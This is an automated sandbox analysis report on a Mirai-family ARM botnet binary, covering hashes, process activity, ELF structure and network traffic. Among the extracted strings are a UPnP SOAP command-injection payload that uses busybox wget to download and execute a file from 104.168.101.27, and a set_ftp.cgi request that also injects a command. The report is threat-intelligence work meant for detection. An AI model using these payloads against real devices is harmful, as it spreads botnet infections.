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Linux Analysis Report
resgod.arm6.elf

Overview

General Information

Sample name:	resgod.arm6.elf
Analysis ID:	1644881
MD5:	9f6e113d83774adedc9e3f7d0b02b1da
SHA1:	73bd40a67d385394a38dbb8638be41a5827f42cd
SHA256:	69a753c94c8da7501f14815c0db50c77d5a80c8d08ed480b9e18c2d5c2886fb3
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	72
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected Mirai

Executes the "rm" command used to delete files or directories

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings that are potentially command strings

Sample has stripped symbol table

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1644881
Start date and time:	2025-03-21 03:48:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	resgod.arm6.elf
Detection:	MAL
Classification:	mal72.troj.linELF@0/0@0/0

Runtime Messages

Command:	/tmp/resgod.arm6.elf
PID:	6260
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

dash New Fork (PID: 6224, Parent: 4332)

rm (PID: 6224, Parent: 4332, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.WLn2XZm5tE /tmp/tmp.HRMWxnVf2k /tmp/tmp.GAeHB8wPk5

dash New Fork (PID: 6225, Parent: 4332)

cat (PID: 6225, Parent: 4332, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /tmp/tmp.WLn2XZm5tE

dash New Fork (PID: 6226, Parent: 4332)

head (PID: 6226, Parent: 4332, MD5: fd96a67145172477dd57131396fc9608) Arguments: head -n 10

dash New Fork (PID: 6227, Parent: 4332)

tr (PID: 6227, Parent: 4332, MD5: fbd1402dd9f72d8ebfff00ce7c3a7bb5) Arguments: tr -d \\000-\\011\\013\\014\\016-\\037

dash New Fork (PID: 6228, Parent: 4332)

cut (PID: 6228, Parent: 4332, MD5: d8ed0ea8f22c0de0f8692d4d9f1759d3) Arguments: cut -c -80

dash New Fork (PID: 6231, Parent: 4332)

cat (PID: 6231, Parent: 4332, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /tmp/tmp.WLn2XZm5tE

dash New Fork (PID: 6232, Parent: 4332)

head (PID: 6232, Parent: 4332, MD5: fd96a67145172477dd57131396fc9608) Arguments: head -n 10

dash New Fork (PID: 6233, Parent: 4332)

tr (PID: 6233, Parent: 4332, MD5: fbd1402dd9f72d8ebfff00ce7c3a7bb5) Arguments: tr -d \\000-\\011\\013\\014\\016-\\037

dash New Fork (PID: 6234, Parent: 4332)

cut (PID: 6234, Parent: 4332, MD5: d8ed0ea8f22c0de0f8692d4d9f1759d3) Arguments: cut -c -80

dash New Fork (PID: 6235, Parent: 4332)

rm (PID: 6235, Parent: 4332, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.WLn2XZm5tE /tmp/tmp.HRMWxnVf2k /tmp/tmp.GAeHB8wPk5

resgod.arm6.elf (PID: 6260, Parent: 6153, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/resgod.arm6.elf

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
resgod.arm6.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
resgod.arm6.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author
6260.1.00007f57a0017000.00007f57a0029000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6260.1.00007f57a0017000.00007f57a0029000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: resgod.arm6.elf PID: 6260	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 104.168.101.27 -l /tmp/.kx -r /resgod.mips; /bin/busybox chmod +x /tmp/.kx; /tmp/.kx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: Initial sample	Potential command found: GET /set_ftp.cgi?loginuse=
Source: Initial sample	Potential command found: GET /ftptest.cgi?loginuse=
Source: Initial sample	Potential command found: GET login.cgi HTTP/1.0
Source: Initial sample	Potential command found: GET /set_ftp.cgi?loginuse=&loginpas=&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28echo+-e+"cd+/tmp"+>>+/tmp/.res%29 HTTP/1.0
Source: Initial sample	Potential command found: GET /ftptest.cgi?loginuse=GET login.cgi HTTP/1.0

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal72.troj.linELF@0/0@0/0

Source: /usr/bin/dash (PID: 6224)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.WLn2XZm5tE /tmp/tmp.HRMWxnVf2k /tmp/tmp.GAeHB8wPk5			Jump to behavior
Source: /usr/bin/dash (PID: 6235)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.WLn2XZm5tE /tmp/tmp.HRMWxnVf2k /tmp/tmp.GAeHB8wPk5			Jump to behavior

Source: /tmp/resgod.arm6.elf (PID: 6260)

Queries kernel information via 'uname':

Jump to behavior

Source: resgod.arm6.elf, 6260.1.000055a5c2fea000.000055a5c3118000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: resgod.arm6.elf, 6260.1.00007ffcd961d000.00007ffcd963e000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/resgod.arm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/resgod.arm6.elf
Source: resgod.arm6.elf, 6260.1.000055a5c2fea000.000055a5c3118000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: resgod.arm6.elf, 6260.1.00007ffcd961d000.00007ffcd963e000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: resgod.arm6.elf, 6260.1.00007ffcd961d000.00007ffcd963e000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: resgod.arm6.elf, type: SAMPLE
Source: Yara match	File source: 6260.1.00007f57a0017000.00007f57a0029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: resgod.arm6.elf PID: 6260, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: resgod.arm6.elf, type: SAMPLE
Source: Yara match	File source: 6260.1.00007f57a0017000.00007f57a0029000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: resgod.arm6.elf PID: 6260, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Command and Scripting Interpreter	Path Interception	Path Interception	1 File Deletion	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
resgod.arm6.elf	64%	ReversingLabs	Linux.Trojan.Mirai
resgod.arm6.elf	100%	Avira	EXP/ELF.Mirai.W

Name	Source	Malicious	Reputation
http://schemas.xmlsoap.org/soap/encoding//%22%3E	resgod.arm6.elf	false	high
http://schemas.xmlsoap.org/soap/encoding/	resgod.arm6.elf	false	high
http://schemas.xmlsoap.org/soap/envelope//	resgod.arm6.elf	false	high
http://104.168.101.27/sh	resgod.arm6.elf	false	high
http://104.168.101.27/resgod.mips;	resgod.arm6.elf	false	high
http://schemas.xmlsoap.org/soap/envelope/	resgod.arm6.elf	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.43	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	arm.elf	Get hash	malicious	Mirai	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
	linux_386.elf	Get hash	malicious	Chaos	Browse
91.189.91.42	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	arm.elf	Get hash	malicious	Mirai	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	mips.elf	Get hash	malicious	Unknown	Browse
	linux_386.elf	Get hash	malicious	Chaos	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	arm5.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	arm.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	mips.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	linux_386.elf	Get hash	malicious	Chaos	Browse	91.189.91.42
CANONICAL-ASGB	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	arm5.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	arm.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	na.elf	Get hash	malicious	Prometei	Browse	91.189.91.42
	mips.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	linux_386.elf	Get hash	malicious	Chaos	Browse	91.189.91.42
INIT7CH	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	arm5.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	arm.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	na.elf	Get hash	malicious	Prometei	Browse	109.202.202.202
	mips.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	linux_386.elf	Get hash	malicious	Chaos	Browse	109.202.202.202

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.105724014445345
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	resgod.arm6.elf
File size:	75'052 bytes
MD5:	9f6e113d83774adedc9e3f7d0b02b1da
SHA1:	73bd40a67d385394a38dbb8638be41a5827f42cd
SHA256:	69a753c94c8da7501f14815c0db50c77d5a80c8d08ed480b9e18c2d5c2886fb3
SHA512:	25b43b039dffe9a64b0cc2f0b0df774605aabc318841eb25c64f9f03cc167d75886040e6aabc2b7fcf95b650f4d1727e480007b477533f980929fdac913edb4f
SSDEEP:	1536:yRnSo5toLKvd4yfHdGm3DzdMUa6Qc1I5iUHXImCbbO51Yvl0b:odHHdpMUa3HXImCbbOHLb
TLSH:	3F731C9AB981AB25C6C2557BFE0F114E33038B6CE3DE73129D245B7477CB46B0E2A506
File Content Preview:	.ELF..............(.....T...4...L#......4. ...(.......................................... ... ... ..................Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../.."....... ....-.@0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8154
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	74572
Section Header Size:	40
Number of Section Headers:	12
Header String Table Index:	11

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x10	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0xfdf0	0x0	0x6	AX	16
.fini	PROGBITS	0x17ea0	0xfea0	0x10	0x0	0x6	AX	4
.rodata	PROGBITS	0x17eb0	0xfeb0	0x1d28	0x0	0x2	A	8
.init_array	INIT_ARRAY	0x22004	0x12008	0x4	0x0	0x3	WA	4
.fini_array	FINI_ARRAY	0x22008	0x1200c	0x4	0x0	0x3	WA	4
.got	PROGBITS	0x22010	0x12014	0x7c	0x4	0x3	WA	4
.data	PROGBITS	0x2208c	0x12090	0x24c	0x0	0x3	WA	4
.bss	NOBITS	0x222d8	0x122dc	0x25ac	0x0	0x3	WA	8
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x122dc	0x10	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x122ec	0x5d	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x11bd8	0x11bd8	6.1822	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x12004	0x22004	0x22000	0x2d8	0xa880	3.6533	0x6	RW	0x8000	.init_array .fini_array .got .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 7
• 443 (HTTPS)
• 80 (HTTP)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 21, 2025 03:49:03.239020109 CET	43928	443	192.168.2.23	91.189.91.42
Mar 21, 2025 03:49:08.610578060 CET	42836	443	192.168.2.23	91.189.91.43
Mar 21, 2025 03:49:09.378211975 CET	42516	80	192.168.2.23	109.202.202.202
Mar 21, 2025 03:49:24.992280960 CET	43928	443	192.168.2.23	91.189.91.42
Mar 21, 2025 03:49:35.230833054 CET	42836	443	192.168.2.23	91.189.91.43
Mar 21, 2025 03:49:39.326189041 CET	42516	80	192.168.2.23	109.202.202.202
Mar 21, 2025 03:50:05.946454048 CET	43928	443	192.168.2.23	91.189.91.42

System Behavior

Analysis Process: dash PID: 6224, Parent PID: 4332

General

Start time (UTC):	02:48:55
Start date (UTC):	21/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	02:48:55
Start date (UTC):	21/03/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.WLn2XZm5tE /tmp/tmp.HRMWxnVf2k /tmp/tmp.GAeHB8wPk5
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	02:48:55
Start date (UTC):	21/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	02:48:55
Start date (UTC):	21/03/2025
Path:	/usr/bin/cat
Arguments:	cat /tmp/tmp.WLn2XZm5tE
File size:	43416 bytes
MD5 hash:	7e9d213e404ad3bb82e4ebb2e1f2c1b3

Start time (UTC):	02:48:55
Start date (UTC):	21/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	02:48:55
Start date (UTC):	21/03/2025
Path:	/usr/bin/head
Arguments:	head -n 10
File size:	47480 bytes
MD5 hash:	fd96a67145172477dd57131396fc9608

Start time (UTC):	02:48:55
Start date (UTC):	21/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	02:48:55
Start date (UTC):	21/03/2025
Path:	/usr/bin/tr
Arguments:	tr -d \\000-\\011\\013\\014\\016-\\037
File size:	51544 bytes
MD5 hash:	fbd1402dd9f72d8ebfff00ce7c3a7bb5

Start time (UTC):	02:48:55
Start date (UTC):	21/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	02:48:55
Start date (UTC):	21/03/2025
Path:	/usr/bin/cut
Arguments:	cut -c -80
File size:	47480 bytes
MD5 hash:	d8ed0ea8f22c0de0f8692d4d9f1759d3

Start time (UTC):	02:48:55
Start date (UTC):	21/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	02:48:55
Start date (UTC):	21/03/2025
Path:	/usr/bin/cat
Arguments:	cat /tmp/tmp.WLn2XZm5tE
File size:	43416 bytes
MD5 hash:	7e9d213e404ad3bb82e4ebb2e1f2c1b3

Start time (UTC):	02:48:55
Start date (UTC):	21/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	02:48:55
Start date (UTC):	21/03/2025
Path:	/usr/bin/head
Arguments:	head -n 10
File size:	47480 bytes
MD5 hash:	fd96a67145172477dd57131396fc9608

Start time (UTC):	02:48:55
Start date (UTC):	21/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	02:48:55
Start date (UTC):	21/03/2025
Path:	/usr/bin/tr
Arguments:	tr -d \\000-\\011\\013\\014\\016-\\037
File size:	51544 bytes
MD5 hash:	fbd1402dd9f72d8ebfff00ce7c3a7bb5

Start time (UTC):	02:48:55
Start date (UTC):	21/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	02:48:55
Start date (UTC):	21/03/2025
Path:	/usr/bin/cut
Arguments:	cut -c -80
File size:	47480 bytes
MD5 hash:	d8ed0ea8f22c0de0f8692d4d9f1759d3

Start time (UTC):	02:48:56
Start date (UTC):	21/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	02:48:56
Start date (UTC):	21/03/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.WLn2XZm5tE /tmp/tmp.HRMWxnVf2k /tmp/tmp.GAeHB8wPk5
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	02:49:02
Start date (UTC):	21/03/2025
Path:	/tmp/resgod.arm6.elf
Arguments:	/tmp/resgod.arm6.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Source: resgod.arm6.elf	String found in binary or memory: http://104.168.101.27/resgod.mips;
Source: resgod.arm6.elf	String found in binary or memory: http://104.168.101.27/sh
Source: resgod.arm6.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: resgod.arm6.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding//%22%3E
Source: resgod.arm6.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: resgod.arm6.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope//

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report resgod.arm6.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: dash PID: 6224, Parent PID: 4332

General

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: rm PID: 6224, Parent PID: 4332

General

File Activities

File Opened

File Deleted

File Read

Chronological Activities

Analysis Process: dash PID: 6225, Parent PID: 4332

General

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: cat PID: 6225, Parent PID: 4332

General

File Activities

File Opened

Linux Analysis Report
resgod.arm6.elf